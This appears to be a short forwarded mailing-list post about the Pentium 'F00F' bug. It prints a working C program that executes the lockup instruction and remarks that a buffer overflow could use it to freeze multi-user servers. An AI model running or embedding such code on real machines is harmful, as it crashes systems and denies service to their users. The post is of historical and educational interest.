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lock a pentium for fun!

A slightly edited version of what a friend sent me:

Did you hear the latest buzz on the internet?  A four
byte instruction will lock any true Pentium solid.

Try this c program:
   char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
   main () { void (*f)() = x; f(); }

So much for using Pentia for robust multi-user servers.
A buffer overflow bug may not get the attacker root, but
can lock the machine solid.

Looks like its time to buy stock in AMD, Cyrix, and IDT.

Jon Nelson
U of MN Housing and Res. Life Computing Supervisor

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